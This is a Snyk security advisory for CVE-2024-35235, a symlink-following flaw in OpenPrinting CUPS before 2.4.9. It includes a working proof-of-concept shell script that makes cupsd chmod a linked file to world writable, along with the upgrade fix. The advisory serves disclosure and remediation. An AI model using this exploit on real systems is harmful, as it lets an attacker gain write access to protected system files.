Improper Link Resolution Before File Access ('Link Following') Affecting OpenPrinting/cups package, versions [,2.4.9)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (6th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-OPENPRINTINGCUPS-7254925
  • published14 Jun 2024
  • disclosed11 Jun 2024
  • creditRory McNamara

Introduced: 11 Jun 2024

CVE-2024-35235  (opens in a new tab)
CWE-252  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade OpenPrinting/cups to version 2.4.9 or higher.

Overview

Affected versions of this package are vulnerable to Improper Link Resolution Before File Access ('Link Following') when starting the cupsd server with a Listen configuration item pointing to a symbolic link. An attacker could change the permission of any user or system files to be world writable by having the cupsd process to perform an arbitrary chmod of the provided argument, providing world-writable access to the target.

PoC

set -e
exploit() {
        echo "Staging..."
        mkdir -m 777 /tmp/stage
        ln -s /etc/cups/cupsd.conf /tmp/stage/cupsd.conf

        # emulate configuration access to cupsd.conf
        echo 'Listen /tmp/stage/cupsd.conf' | sudo tee -a /etc/cups/cupsd.conf

        echo

        echo "Current permissions of cupsd.conf"
        ls -l /etc/cups/cupsd.conf
        tail -n1 /etc/cups/cupsd.conf || true

        echo

        echo "Restarting cupsd"
        sudo systemctl restart cups

        echo

        echo "New permissions of cupsd.conf"
        ls -l /etc/cups/cupsd.conf
        tail -n1 /etc/cups/cupsd.conf || true
}

cleanup() {
        sudo sed -i '/Listen \/tmp\/stage\/cupsd.conf/d' /etc/cups/cupsd.conf
        sudo chmod 640 /etc/cups/cupsd.conf
        rm -rf /tmp/stage
}

$@

CVSS Scores

version 3.1